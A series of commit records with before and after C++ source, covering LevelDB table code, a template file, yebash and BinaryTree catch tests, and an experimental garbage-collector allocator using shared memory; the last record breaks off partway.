Cache::Handle* cache_handle = NULL;
BlockHandle handle;
Slice input = index_value;
Status s = handle.DecodeFrom(&input);
// We intentionally allow extra stuff in index_value so that we
// can add more features in the future.
if (s.ok()) {
BlockContents contents;
if (block_cache != NULL) {
char cache_key_buffer[16];
EncodeFixed64(cache_key_buffer, table->rep_->cache_id);
EncodeFixed64(cache_key_buffer+8, handle.offset());
Slice key(cache_key_buffer, sizeof(cache_key_buffer));
cache_handle = block_cache->Lookup(key);
if (cache_handle != NULL) {
block = reinterpret_cast<Block*>(block_cache->Value(cache_handle));
} else {
s = ReadBlock(table->rep_->file, options, handle, &contents);
if (s.ok()) {
block = new Block(contents);
if (contents.cachable && options.fill_cache) {
cache_handle = block_cache->Insert(
key, block, block->size(), &DeleteCachedBlock);
}
}
}
} else {
s = ReadBlock(table->rep_->file, options, handle, &contents);
if (s.ok()) {
block = new Block(contents);
}
}
}
Iterator* iter;
if (block != NULL) {
iter = block->NewIterator(table->rep_->options.comparator);
if (cache_handle == NULL) {
iter->RegisterCleanup(&DeleteBlock, block, NULL);
} else {
iter->RegisterCleanup(&ReleaseBlock, block_cache, cache_handle);
}
} else {
iter = NewErrorIterator(s);
}
return iter;
}
Iterator* Table::NewIterator(const ReadOptions& options) const {
return NewTwoLevelIterator(
rep_->index_block->NewIterator(rep_->options.comparator),
&Table::BlockReader, const_cast<Table*>(this), options);
}
Status Table::InternalGet(const ReadOptions& options, const Slice& k,
void* arg,
void (*saver)(void*, const Slice&, const Slice&)) {
Status s;
Iterator* iiter = rep_->index_block->NewIterator(rep_->options.comparator);
iiter->Seek(k);
if (iiter->Valid()) {
Slice handle_value = iiter->value();
FilterBlockReader* filter = rep_->filter;
BlockHandle handle;
if (filter != NULL &&
handle.DecodeFrom(&handle_value).ok() &&
!filter->KeyMayMatch(handle.offset(), k)) {
// Not found
} else {
Iterator* block_iter = BlockReader(this, options, iiter->value());
block_iter->Seek(k);
if (block_iter->Valid()) {
(*saver)(arg, block_iter->key(), block_iter->value());
}
s = block_iter->status();
delete block_iter;
}
}
if (s.ok()) {
s = iiter->status();
}
delete iiter;
return s;
}
uint64_t Table::ApproximateOffsetOf(const Slice& key) const {
Iterator* index_iter =
rep_->index_block->NewIterator(rep_->options.comparator);
index_iter->Seek(key);
uint64_t result;
if (index_iter->Valid()) {
BlockHandle handle;
Slice input = index_iter->value();
Status s = handle.DecodeFrom(&input);
if (s.ok()) {
result = handle.offset();
} else {
// Strange: we can't decode the block handle in the index block.
// We'll just return the offset of the metaindex block, which is
// close to the whole file size for this case.
result = rep_->metaindex_handle.offset();
}
} else {
// key is past the last key in the file. Approximate the offset
// by returning the offset of the metaindex block (which is
// right near the end of the file).
result = rep_->metaindex_handle.offset();
}
delete index_iter;
return result;
}
} // namespace leveldb
<commit_msg>Deleted redundant null ptr check prior to delete.<commit_after>// Copyright (c) 2011 The LevelDB Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file. See the AUTHORS file for names of contributors.
#include "leveldb/table.h"
#include "leveldb/cache.h"
#include "leveldb/comparator.h"
#include "leveldb/env.h"
#include "leveldb/filter_policy.h"
#include "leveldb/options.h"
#include "table/block.h"
#include "table/filter_block.h"
#include "table/format.h"
#include "table/two_level_iterator.h"
#include "util/coding.h"
namespace leveldb {
struct Table::Rep {
~Rep() {
delete filter;
delete [] filter_data;
delete index_block;
}
Options options;
Status status;
RandomAccessFile* file;
uint64_t cache_id;
FilterBlockReader* filter;
const char* filter_data;
BlockHandle metaindex_handle; // Handle to metaindex_block: saved from footer
Block* index_block;
};
Status Table::Open(const Options& options,
RandomAccessFile* file,
uint64_t size,
Table** table) {
*table = NULL;
if (size < Footer::kEncodedLength) {
return Status::Corruption("file is too short to be an sstable");
}
char footer_space[Footer::kEncodedLength];
Slice footer_input;
Status s = file->Read(size - Footer::kEncodedLength, Footer::kEncodedLength,
&footer_input, footer_space);
if (!s.ok()) return s;
Footer footer;
s = footer.DecodeFrom(&footer_input);
if (!s.ok()) return s;
// Read the index block
BlockContents contents;
Block* index_block = NULL;
if (s.ok()) {
ReadOptions opt;
if (options.paranoid_checks) {
opt.verify_checksums = true;
}
s = ReadBlock(file, opt, footer.index_handle(), &contents);
if (s.ok()) {
index_block = new Block(contents);
}
}
if (s.ok()) {
// We've successfully read the footer and the index block: we're
// ready to serve requests.
Rep* rep = new Table::Rep;
rep->options = options;
rep->file = file;
rep->metaindex_handle = footer.metaindex_handle();
rep->index_block = index_block;
rep->cache_id = (options.block_cache ? options.block_cache->NewId() : 0);
rep->filter_data = NULL;
rep->filter = NULL;
*table = new Table(rep);
(*table)->ReadMeta(footer);
} else {
delete index_block;
}
return s;
}
void Table::ReadMeta(const Footer& footer) {
if (rep_->options.filter_policy == NULL) {
return; // Do not need any metadata
}
// TODO(sanjay): Skip this if footer.metaindex_handle() size indicates
// it is an empty block.
ReadOptions opt;
if (rep_->options.paranoid_checks) {
opt.verify_checksums = true;
}
BlockContents contents;
if (!ReadBlock(rep_->file, opt, footer.metaindex_handle(), &contents).ok()) {
// Do not propagate errors since meta info is not needed for operation
return;
}
Block* meta = new Block(contents);
Iterator* iter = meta->NewIterator(BytewiseComparator());
std::string key = "filter.";
key.append(rep_->options.filter_policy->Name());
iter->Seek(key);
if (iter->Valid() && iter->key() == Slice(key)) {
ReadFilter(iter->value());
}
delete iter;
delete meta;
}
void Table::ReadFilter(const Slice& filter_handle_value) {
Slice v = filter_handle_value;
BlockHandle filter_handle;
if (!filter_handle.DecodeFrom(&v).ok()) {
return;
}
// We might want to unify with ReadBlock() if we start
// requiring checksum verification in Table::Open.
ReadOptions opt;
if (rep_->options.paranoid_checks) {
opt.verify_checksums = true;
}
BlockContents block;
if (!ReadBlock(rep_->file, opt, filter_handle, &block).ok()) {
return;
}
if (block.heap_allocated) {
rep_->filter_data = block.data.data(); // Will need to delete later
}
rep_->filter = new FilterBlockReader(rep_->options.filter_policy, block.data);
}
Table::~Table() {
delete rep_;
}
static void DeleteBlock(void* arg, void* ignored) {
delete reinterpret_cast<Block*>(arg);
}
static void DeleteCachedBlock(const Slice& key, void* value) {
Block* block = reinterpret_cast<Block*>(value);
delete block;
}
static void ReleaseBlock(void* arg, void* h) {
Cache* cache = reinterpret_cast<Cache*>(arg);
Cache::Handle* handle = reinterpret_cast<Cache::Handle*>(h);
cache->Release(handle);
}
// Convert an index iterator value (i.e., an encoded BlockHandle)
// into an iterator over the contents of the corresponding block.
Iterator* Table::BlockReader(void* arg,
const ReadOptions& options,
const Slice& index_value) {
Table* table = reinterpret_cast<Table*>(arg);
Cache* block_cache = table->rep_->options.block_cache;
Block* block = NULL;
Cache::Handle* cache_handle = NULL;
BlockHandle handle;
Slice input = index_value;
Status s = handle.DecodeFrom(&input);
// We intentionally allow extra stuff in index_value so that we
// can add more features in the future.
if (s.ok()) {
BlockContents contents;
if (block_cache != NULL) {
char cache_key_buffer[16];
EncodeFixed64(cache_key_buffer, table->rep_->cache_id);
EncodeFixed64(cache_key_buffer+8, handle.offset());
Slice key(cache_key_buffer, sizeof(cache_key_buffer));
cache_handle = block_cache->Lookup(key);
if (cache_handle != NULL) {
block = reinterpret_cast<Block*>(block_cache->Value(cache_handle));
} else {
s = ReadBlock(table->rep_->file, options, handle, &contents);
if (s.ok()) {
block = new Block(contents);
if (contents.cachable && options.fill_cache) {
cache_handle = block_cache->Insert(
key, block, block->size(), &DeleteCachedBlock);
}
}
}
} else {
s = ReadBlock(table->rep_->file, options, handle, &contents);
if (s.ok()) {
block = new Block(contents);
}
}
}
Iterator* iter;
if (block != NULL) {
iter = block->NewIterator(table->rep_->options.comparator);
if (cache_handle == NULL) {
iter->RegisterCleanup(&DeleteBlock, block, NULL);
} else {
iter->RegisterCleanup(&ReleaseBlock, block_cache, cache_handle);
}
} else {
iter = NewErrorIterator(s);
}
return iter;
}
Iterator* Table::NewIterator(const ReadOptions& options) const {
return NewTwoLevelIterator(
rep_->index_block->NewIterator(rep_->options.comparator),
&Table::BlockReader, const_cast<Table*>(this), options);
}
Status Table::InternalGet(const ReadOptions& options, const Slice& k,
void* arg,
void (*saver)(void*, const Slice&, const Slice&)) {
Status s;
Iterator* iiter = rep_->index_block->NewIterator(rep_->options.comparator);
iiter->Seek(k);
if (iiter->Valid()) {
Slice handle_value = iiter->value();
FilterBlockReader* filter = rep_->filter;
BlockHandle handle;
if (filter != NULL &&
handle.DecodeFrom(&handle_value).ok() &&
!filter->KeyMayMatch(handle.offset(), k)) {
// Not found
} else {
Iterator* block_iter = BlockReader(this, options, iiter->value());
block_iter->Seek(k);
if (block_iter->Valid()) {
(*saver)(arg, block_iter->key(), block_iter->value());
}
s = block_iter->status();
delete block_iter;
}
}
if (s.ok()) {
s = iiter->status();
}
delete iiter;
return s;
}
uint64_t Table::ApproximateOffsetOf(const Slice& key) const {
Iterator* index_iter =
rep_->index_block->NewIterator(rep_->options.comparator);
index_iter->Seek(key);
uint64_t result;
if (index_iter->Valid()) {
BlockHandle handle;
Slice input = index_iter->value();
Status s = handle.DecodeFrom(&input);
if (s.ok()) {
result = handle.offset();
} else {
// Strange: we can't decode the block handle in the index block.
// We'll just return the offset of the metaindex block, which is
// close to the whole file size for this case.
result = rep_->metaindex_handle.offset();
}
} else {
// key is past the last key in the file. Approximate the offset
// by returning the offset of the metaindex block (which is
// right near the end of the file).
result = rep_->metaindex_handle.offset();
}
delete index_iter;
return result;
}
} // namespace leveldb
<|endoftext|> |
<commit_before>// -*- C++ -*-
// Implementation of class xFOOx
//
// Copyright (C) 2006 by John Weiss
// This program is free software; you can redistribute it and/or modify
// it under the terms of the Artistic License, included as the file
// "LICENSE" in the source code archive.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
//
// You should have received a copy of the file "LICENSE", containing
// the License John Weiss originally placed this program under.
//
static const char* const
xFOOx_cc__="RCS $Id$";
// Includes
//
//#include <string>
//#include <boost/something.hpp>
// "using" Decl. for parent namespace not needed; this file is #include'd into
// that namespace.
// Other "using" Decls.
//using std::string;
// Convenience Macros for defining Template member functions.
//
#define TEMPL_M_MyComplexClass \
template<typename T1, typename T2, typename T3, typename T4>
#define CT_M_MyComplexClass \
MyComplexClass<T1,T2, T3, T4>
//
// Static variables
//
/////////////////////////
//
// General Function Definitions
//
/////////////////////////
//
// xFOOx Member Methods
//
template<class C>
inline void
xFOOx<C>::y()
{
}
TEMPL_M_MyComplexClass
inline void
CT_M_MyComplexClass::z()
{
}
/////////////////////////
//
// End
<commit_msg>Commented out the static const char*, since this file is #included into others.<commit_after>// -*- C++ -*-
// Implementation of class xFOOx
//
// Copyright (C) 2006 by John Weiss
// This program is free software; you can redistribute it and/or modify
// it under the terms of the Artistic License, included as the file
// "LICENSE" in the source code archive.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
//
// You should have received a copy of the file "LICENSE", containing
// the License John Weiss originally placed this program under.
//
//static const char* const
//xFOOx_cc__="RCS $Id$";
// Includes
//
//#include <string>
//#include <boost/something.hpp>
// "using" Decl. for parent namespace not needed; this file is #include'd into
// that namespace.
// Other "using" Decls.
//using std::string;
// Convenience Macros for defining Template member functions.
//
#define TEMPL_M_MyComplexClass \
template<typename T1, typename T2, typename T3, typename T4>
#define CT_M_MyComplexClass \
MyComplexClass<T1, T2, T3, T4>
//
// Static variables
//
/////////////////////////
//
// General Function Definitions
//
/////////////////////////
//
// xFOOx Member Methods
//
template<class C>
inline void
xFOOx<C>::y()
{
}
TEMPL_M_MyComplexClass
inline void
CT_M_MyComplexClass::z()
{
}
/////////////////////////
//
// End
<|endoftext|> |
<commit_before>#include "yebash.hpp"
#include "History.hpp"
#include "catch.hpp"
#include <sstream>
using namespace yb;
TEST_CASE( "No suggestions when history is empty", "[basic.empty_history]" ) {
std::stringstream ss;
History history;
history.read(ss);
HistorySuggestion suggestion(history);
auto c = yebash(suggestion, 'a');
REQUIRE(c == 'a');
}
<commit_msg>Update tests - allow checking the output<commit_after>#include "yebash.hpp"
#include "History.hpp"
#include "catch.hpp"
#include <sstream>
using namespace yb;
TEST_CASE( "No suggestions when history is empty", "[basic.empty_history]" ) {
std::stringstream ss;
std::stringstream output;
History history;
history.read(ss);
HistorySuggestion suggestion(history);
Printer printer(output);
auto c = yebash(suggestion, printer, 'a');
std::string result{output.str()};
REQUIRE(c == 'a');
REQUIRE(output.str() == "");
}
<|endoftext|> |
<commit_before>#include <vector>
#include <map>
#include <cstring>
#include <algorithm>
#include <iostream>
#include "alloc.hpp"
#include "safemacros.h"
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
namespace aL4nin
{
template <>
struct meta<int>
{
int* allocate(std::size_t elems)
{
return new int[elems];
}
};
template <>
meta<int>& get_meta<int>(std::size_t)
{
static meta<int> m;
return m;
}
}
// metadata entry defines the
// marking method:
// a) bitpattern (up to 31 bits representing pointers to follow)
// b) freestyle procedural marker
// - uncommitted arrays must zero out object data before setting marker
// - concurrency in data <--> metadata access???
// let's fix some hard conventions
// - T* is non-null collectable pointer that is to be followed
// - nullable<T> is a possibly NULL pointer that should be followed
// - T& is a non-assignable, non-null reference that is to be followed
// - const T is a non-assignable non-null reference that is to be followed
// - const nullable<T> is a non-assignable, possibly NULL pointer that should be followed
// - references to builtin basic types are not followed
// - non<T> is a pointer that will not be followed
// - const non<T> is a non-assignable pointer that will not be followed
// - thresholded<T, N> is like nullable but does not follow <= N
#define WRAP(TYPE, MODIFIER) \
MODIFIER ## _WRAPPER(TYPE)
#define BARE_WRAPPER(TYPE) TYPE
#define _WRAPPER(TYPE) BARE_WRAPPER(TYPE)
#define NULLABLE_WRAPPER(TYPE) nullable<TYPE>
#define NON_WRAPPER(TYPE) non<TYPE>
#define NULLABLE_WRAPPER(TYPE) nullable<TYPE>
template <typename T>
struct nullable
{
T* real;
nullable(T* real)
: real(real)
{}
};
template <typename T>
struct non
{
T real;
non(const T& real)
: real(real)
{}
};
WRAP(int, NON) hh(42);
WRAP(int, /*BARE*/) hh1;
WRAP(int, NULLABLE) hh2(0);
struct foo
{
foo& f;
foo() : f(*this)
{}
void bar()
{
/// int i(&foo::f);
}
};
// Anatomy of the WORLD.
//
// The world is the part of the process memory that the GC
// is interested in. It is completely subdivided in clusters.
// The first cluster of the world is special.
// Every other cluster is subdivided into 2^p pages. The size
// of a page must match a (supported) VM page size.
// The number of pages a cluster consists of (2^p) is dependent
// on the cluster, so the world must store the ps in the special
// cluster in order to be able to find the cluster boundaries.
// At the start of each cluster we find the metaobjects.
// The metaobject at displacement 0 (into the cluster) is
// special, describing the metaobjects themselves, i.e. it is
// a meta-metaobject.
// Metaobjects are just additional information that is factored
// out of the objects or can add information about the validity
// and GC-properties of a group of objects.
// Note: later I may introduce a multiworld, which may be
// a linked list of worlds.
// World: define the layout of a world in the memory
// and subdivide in pages. Provide info about the
// location and
// NUMPAGES
template <unsigned NUMPAGES, unsigned BASE, unsigned PAGE>
struct World
{
struct Page
{
char raw[1 << PAGE];
};
Page pages[NUMPAGES];
};
// MISC ideas
// allocation: tell a cluster to allocate an obj of a certain
// metadata "class". returns a cluster address, which may be the
// same as the current cluster or pointer to a new cluster with
// the object being in there. In this case the pointer must be
// stored away for the next allocation request.
// GC: use a posix message queue to tell which thread stack ranges
// must be mprotected. This way the threads can be starved out
// systematically.
// RawObj2Meta is intended to return a pointer for an object
// living in the world, that describes its allocation and collection
// behaviour.
// PAGE: number of bits needed to address a byte in a VM-page
// CLUSTER: how many bits are needed to address a page in a VM cluster of pages
// SCALE: how many bytes together have the same metadata info (2^SCALE bytes)
// ##!! not true: SCALE simply tells us how much "denser" metaobjects are
// compared to objects. I.e. 32*8byte (cons cells) together share the same
// metaobject, and the metaobject is 8bytes then SCALE is 5 because
// 2^5==32.
//
// Theory of operation:
// Find the lowest address in the cluster and scale down the displacement
// of the object to the appropriate metaobject.
template <unsigned long PAGE, unsigned long CLUSTER, unsigned long SCALE>
inline void* RawObj2Meta(void* obj)
{
typedef unsigned long sptr_t;
register sptr_t o(reinterpret_cast<sptr_t>(obj));
enum
{
pat = (1 << PAGE + CLUSTER) - 1
};
register sptr_t b(o & ~static_cast<sptr_t>(pat));
register sptr_t d(o & static_cast<sptr_t>(pat));
return reinterpret_cast<void*>(b + (d >> SCALE));
}
#include "alloc.cpp"
using namespace std;
using namespace aL4nin;
namespace aL4nin
{
template <>
meta<void>* object_meta<void>(void* p)
{
if (!p)
return 0;
static meta<void> me;
return &me;
}
template <>
struct meta<std::_Rb_tree_node<std::pair<const int, int> > >
{
typedef std::_Rb_tree_node<std::pair<const int, int> > payload;
payload* allocate(std::size_t elems)
{
return new payload[elems];
}
};
template <>
meta<std::_Rb_tree_node<std::pair<const int, int> > >& get_meta<std::_Rb_tree_node<std::pair<const int, int> > >(std::size_t)
{
static meta<std::_Rb_tree_node<std::pair<const int, int> > > m;
return m;
}
struct cons : pair<void*, void*>
{};
template <>
struct meta<cons>
{
enum { bits = 32 };
cons* objects;
bool bitmap[bits];
bool marks[bits];
meta(void)
{
memset(this, 0, sizeof *this);
}
cons* allocate(std::size_t)
{
if (!objects)
{
objects = new cons[bits];
*bitmap = true;
return objects;
}
bool* end(bitmap + meta<cons>::bits);
bool* freebit(find(bitmap, end, 0));
if (freebit == end)
return 0;
*freebit = true;
return objects + (freebit - bitmap);
}
void mark(const cons* p PLUS_VERBOSITY_ARG())
{
// simple minded!
int i(bits - 1);
for (const cons* my(objects + i);
i >= 0;
--my, --i)
{
if (bitmap[i] && p == my)
{
VERBOSE("identified as cons");
if (marks[i])
{
VERBOSE("already marked");
return /*true*/;
}
marks[i] = true;
if (object_meta(p->first))
{
object_meta(p->first)->mark(p->first PASS_VERBOSE);
}
if (object_meta(p->second))
{
object_meta(p->second)->mark(p->second PASS_VERBOSE);
}
return /*true*/;
}
}
VERBOSE_ABORT("not a cons");
}
};
template <>
meta<cons>& get_meta<cons>(std::size_t)
{
static meta<cons> m;
if (find(m.bitmap, m.bitmap + meta<cons>::bits, 0))
return m;
abort();
}
void* rooty(0);
void collect(VERBOSITY_ARG())
{
VERBOSE("starting");
// do we need meta<void>
// or can we safely assume
// to know the exact meta type?
// probably not: if a slot is just declared
// <object> we never know the metadata
meta<void>* m(object_meta(rooty));
if (m)
m->mark(rooty PASS_VERBOSE);
/// if (m.trymark(rooty.first)) ...;
VERBOSE("done");
}
void meta<void>::mark(void* p PLUS_VERBOSITY_ARG())
{
// look whether it is a cons
VERBOSE("trying to mark: " << p);
// hack!
meta<cons>& m(get_meta<cons>(1));
m.mark(static_cast<cons*>(p) PASS_VERBOSE);
}
}
int main(void)
{
vector<int, alloc<int> > v(3);
map<int, int, less<int>, alloc<int> > m;
m.insert(make_pair(1, 42));
cons* c(alloc<cons>().allocate(1));
c->first = c;
c->second = 0;
rooty = c;
collect(true);
int hdl(shm_open("/blubber",
O_RDWR | O_CREAT,
S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP));
perror("shm_open");
const int lenn(100000000);
int tr(ftruncate(hdl, lenn));
if (tr == -1)
perror("ftruncate");
void* area(mmap(reinterpret_cast<void*>(0xF0000000UL),
lenn,
PROT_READ | PROT_WRITE,
MAP_SHARED,
hdl,
0));
if (MAP_FAILED == area)
perror("mmap");
else
{
for (int i(0); i < 100; i += 4)
{
char* p((char*)area + i);
printf("i: %d, o: %p, m: %p\n", i, p, RawObj2Meta<12, 4, 3>(p));
}
for (int i(10000); i < 10100; i += 4)
{
char* p((char*)area + i);
printf("i: %d, o: %p, m: %p\n", i, p, RawObj2Meta<12, 4, 3>(p));
}
sleep(3);
int um(munmap(area, lenn));
if (um == -1)
perror("munmap");
}
int ul(shm_unlink("/blubber"));
if (ul == -1)
perror("shm_unlink");
}
<commit_msg>use the world to get shared memory area. adjust to real address obtained.<commit_after>#include <vector>
#include <map>
#include <cstring>
#include <algorithm>
#include <iostream>
#include "alloc.hpp"
#include "safemacros.h"
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
namespace aL4nin
{
template <>
struct meta<int>
{
int* allocate(std::size_t elems)
{
return new int[elems];
}
};
template <>
meta<int>& get_meta<int>(std::size_t)
{
static meta<int> m;
return m;
}
}
// metadata entry defines the
// marking method:
// a) bitpattern (up to 31 bits representing pointers to follow)
// b) freestyle procedural marker
// - uncommitted arrays must zero out object data before setting marker
// - concurrency in data <--> metadata access???
// let's fix some hard conventions
// - T* is non-null collectable pointer that is to be followed
// - nullable<T> is a possibly NULL pointer that should be followed
// - T& is a non-assignable, non-null reference that is to be followed
// - const T is a non-assignable non-null reference that is to be followed
// - const nullable<T> is a non-assignable, possibly NULL pointer that should be followed
// - references to builtin basic types are not followed
// - non<T> is a pointer that will not be followed
// - const non<T> is a non-assignable pointer that will not be followed
// - thresholded<T, N> is like nullable but does not follow <= N
#define WRAP(TYPE, MODIFIER) \
MODIFIER ## _WRAPPER(TYPE)
#define BARE_WRAPPER(TYPE) TYPE
#define _WRAPPER(TYPE) BARE_WRAPPER(TYPE)
#define NULLABLE_WRAPPER(TYPE) nullable<TYPE>
#define NON_WRAPPER(TYPE) non<TYPE>
#define NULLABLE_WRAPPER(TYPE) nullable<TYPE>
template <typename T>
struct nullable
{
T* real;
nullable(T* real)
: real(real)
{}
};
template <typename T>
struct non
{
T real;
non(const T& real)
: real(real)
{}
};
WRAP(int, NON) hh(42);
WRAP(int, /*BARE*/) hh1;
WRAP(int, NULLABLE) hh2(0);
struct foo
{
foo& f;
foo() : f(*this)
{}
void bar()
{
/// int i(&foo::f);
}
};
// Anatomy of the WORLD.
//
// The world is the part of the process memory that the GC
// is interested in. It is completely subdivided in clusters.
// The first cluster of the world is special.
// Every other cluster is subdivided into 2^p pages. The size
// of a page must match a (supported) VM page size.
// The number of pages a cluster consists of (2^p) is dependent
// on the cluster, so the world must store the ps in the special
// cluster in order to be able to find the cluster boundaries.
// At the start of each cluster we find the metaobjects.
// The metaobject at displacement 0 (into the cluster) is
// special, describing the metaobjects themselves, i.e. it is
// a meta-metaobject.
// Metaobjects are just additional information that is factored
// out of the objects or can add information about the validity
// and GC-properties of a group of objects.
// Note: later I may introduce a multiworld, which may be
// a linked list of worlds.
// Checker templates
//
template <unsigned>
struct IsZero;
template <>
struct IsZero<0>
{};
template <unsigned long DIVISOR, unsigned long DIVIDEND>
struct Divides : IsZero<DIVIDEND % DIVISOR>
{};
// World: define the layout of a world in the memory
// and subdivide in pages. Provide info about the
// location and size.
// NUMPAGES: how many pages should this world hold
// BASE: where should this world be located in the memory
// PAGE: bits needed to address a byte in a page. i.e.
// pagesize == 2^PAGE bytes
//
template <unsigned NUMPAGES, unsigned BASE, unsigned PAGE>
struct World
{
enum { PageSize = 1 << PAGE };
struct Page
{
char raw[PageSize];
};
Page pages[NUMPAGES];
void* start(void)
{
Divides<PageSize, BASE> c1;
return reinterpret_cast<void*>(BASE);
}
size_t size(void)
{
return PageSize * NUMPAGES;
}
};
// MISC ideas
// allocation: tell a cluster to allocate an obj of a certain
// metadata "class". returns a cluster address, which may be the
// same as the current cluster or pointer to a new cluster with
// the object being in there. In this case the pointer must be
// stored away for the next allocation request.
// GC: use a posix message queue to tell which thread stack ranges
// must be mprotected. This way the threads can be starved out
// systematically.
// RawObj2Meta is intended to return a pointer for an object
// living in the world, that describes its allocation and collection
// behaviour.
// PAGE: number of bits needed to address a byte in a VM-page
// CLUSTER: how many bits are needed to address a page in a VM cluster of pages
// SCALE: how many bytes together have the same metadata info (2^SCALE bytes)
// ##!! not true: SCALE simply tells us how much "denser" metaobjects are
// compared to objects. I.e. 32*8byte (cons cells) together share the same
// metaobject, and the metaobject is 8bytes then SCALE is 5 because
// 2^5==32.
//
// Theory of operation:
// Find the lowest address in the cluster and scale down the displacement
// of the object to the appropriate metaobject.
template <unsigned long PAGE, unsigned long CLUSTER, unsigned long SCALE>
inline void* RawObj2Meta(void* obj)
{
typedef unsigned long sptr_t;
register sptr_t o(reinterpret_cast<sptr_t>(obj));
enum
{
pat = (1 << PAGE + CLUSTER) - 1
};
register sptr_t b(o & ~static_cast<sptr_t>(pat));
register sptr_t d(o & static_cast<sptr_t>(pat));
return reinterpret_cast<void*>(b + (d >> SCALE));
}
#include "alloc.cpp"
using namespace std;
using namespace aL4nin;
namespace aL4nin
{
template <>
meta<void>* object_meta<void>(void* p)
{
if (!p)
return 0;
static meta<void> me;
return &me;
}
template <>
struct meta<std::_Rb_tree_node<std::pair<const int, int> > >
{
typedef std::_Rb_tree_node<std::pair<const int, int> > payload;
payload* allocate(std::size_t elems)
{
return new payload[elems];
}
};
template <>
meta<std::_Rb_tree_node<std::pair<const int, int> > >& get_meta<std::_Rb_tree_node<std::pair<const int, int> > >(std::size_t)
{
static meta<std::_Rb_tree_node<std::pair<const int, int> > > m;
return m;
}
struct cons : pair<void*, void*>
{};
template <>
struct meta<cons>
{
enum { bits = 32 };
cons* objects;
bool bitmap[bits];
bool marks[bits];
meta(void)
{
memset(this, 0, sizeof *this);
}
cons* allocate(std::size_t)
{
if (!objects)
{
objects = new cons[bits];
*bitmap = true;
return objects;
}
bool* end(bitmap + meta<cons>::bits);
bool* freebit(find(bitmap, end, 0));
if (freebit == end)
return 0;
*freebit = true;
return objects + (freebit - bitmap);
}
void mark(const cons* p PLUS_VERBOSITY_ARG())
{
// simple minded!
int i(bits - 1);
for (const cons* my(objects + i);
i >= 0;
--my, --i)
{
if (bitmap[i] && p == my)
{
VERBOSE("identified as cons");
if (marks[i])
{
VERBOSE("already marked");
return /*true*/;
}
marks[i] = true;
if (object_meta(p->first))
{
object_meta(p->first)->mark(p->first PASS_VERBOSE);
}
if (object_meta(p->second))
{
object_meta(p->second)->mark(p->second PASS_VERBOSE);
}
return /*true*/;
}
}
VERBOSE_ABORT("not a cons");
}
};
template <>
meta<cons>& get_meta<cons>(std::size_t)
{
static meta<cons> m;
if (find(m.bitmap, m.bitmap + meta<cons>::bits, 0))
return m;
abort();
}
void* rooty(0);
void collect(VERBOSITY_ARG())
{
VERBOSE("starting");
// do we need meta<void>
// or can we safely assume
// to know the exact meta type?
// probably not: if a slot is just declared
// <object> we never know the metadata
meta<void>* m(object_meta(rooty));
if (m)
m->mark(rooty PASS_VERBOSE);
/// if (m.trymark(rooty.first)) ...;
VERBOSE("done");
}
void meta<void>::mark(void* p PLUS_VERBOSITY_ARG())
{
// look whether it is a cons
VERBOSE("trying to mark: " << p);
// hack!
meta<cons>& m(get_meta<cons>(1));
m.mark(static_cast<cons*>(p) PASS_VERBOSE);
}
}
int main(void)
{
vector<int, alloc<int> > v(3);
map<int, int, less<int>, alloc<int> > m;
m.insert(make_pair(1, 42));
cons* c(alloc<cons>().allocate(1));
c->first = c;
c->second = 0;
rooty = c;
collect(true);
int hdl(shm_open("/blubber",
O_RDWR | O_CREAT,
S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP));
perror("shm_open");
/// World<100, 0xF0000000UL, 12> world;
World<100, 0xFF090000UL, 12> world;
/// const int lenn(100000000);
int tr(ftruncate(hdl, world.size()));
if (tr == -1)
perror("ftruncate");
/// void* area(mmap(reinterpret_cast<void*>(/*0xF0000000UL*/world.start()),
void* area(mmap(world.start(),
/// lenn,
world.size(),
PROT_READ | PROT_WRITE,
MAP_SHARED,
hdl,
0));
if (MAP_FAILED == area)
perror("mmap");
else
{
for (int i(0); i < 100; i += 4)
{
char* p((char*)area + i);
printf("i: %d, o: %p, m: %p\n", i, p, RawObj2Meta<12, 4, 3>(p));
}
for (int i(10000); i < 10100; i += 4)
{
char* p((char*)area + i);
printf("i: %d, o: %p, m: %p\n", i, p, RawObj2Meta<12, 4, 3>(p));
}
sleep(3);
int um(munmap(area, world.size()));
if (um == -1)
perror("munmap");
}
int ul(shm_unlink("/blubber"));
if (ul == -1)
perror("shm_unlink");
}
<|endoftext|> |
<commit_before>#include <BinaryTree.hpp>
#include <catch.hpp>
/*SCENARIO ("init", "[init]")
{
BinaryTree<int> obj;
// REQUIRE(obj.root_() == nullptr);
}
SCENARIO("insert", "[insert]")
{
BinaryTree<int> obj;
obj.insert_node(3);
REQUIRE(obj.find_node(3, obj.root_())->data == 3);
}
SCENARIO("find_node", "[find_node]")
{
BinaryTree<int> obj;
obj.insert_node(2);
REQUIRE(obj.find_node(2, obj.root_()) != nullptr);
REQUIRE(obj.find_node(2, obj.root_())->data == 2);
}
SCENARIO("get root", "[get root]")
{
BinaryTree<int> obj;
obj.insert_node(4);
REQUIRE(obj.root_() != 0);
}
SCENARIO ("output to cout", "<<")
{
BinaryTree<int> tree;
tree.insert_node(3);
REQUIRE( std::cout << tree );
}
<commit_msg>Update init.cpp<commit_after>#include <BinaryTree.hpp>
#include <catch.hpp>
SCENARIO ("init", "[init]")
{
BinaryTree<int> obj;
REQUIRE(obj.root_() == nullptr);
}
SCENARIO("insert", "[insert]")
{
BinaryTree<int> obj;
obj.insert_node(3);
REQUIRE(obj.find_node(3, obj.root_())->data == 3);
}
SCENARIO("find_node", "[find_node]")
{
BinaryTree<int> obj;
obj.insert_node(2);
REQUIRE(obj.find_node(2, obj.root_()) != nullptr);
REQUIRE(obj.find_node(2, obj.root_())->data == 2);
}
SCENARIO("get root", "[get root]")
{
BinaryTree<int> obj;
obj.insert_node(4);
REQUIRE(obj.root_() != 0);
}
SCENARIO ("output to cout", "<<")
{
BinaryTree<int> tree;
tree.insert_node(3);
REQUIRE( std::cout << tree );
}
<|endoftext|> |
<commit_before>#include <matrix.hpp>
#include <catch.hpp>
SCENARIO("matrix init without parametrs", "[init wp]") {
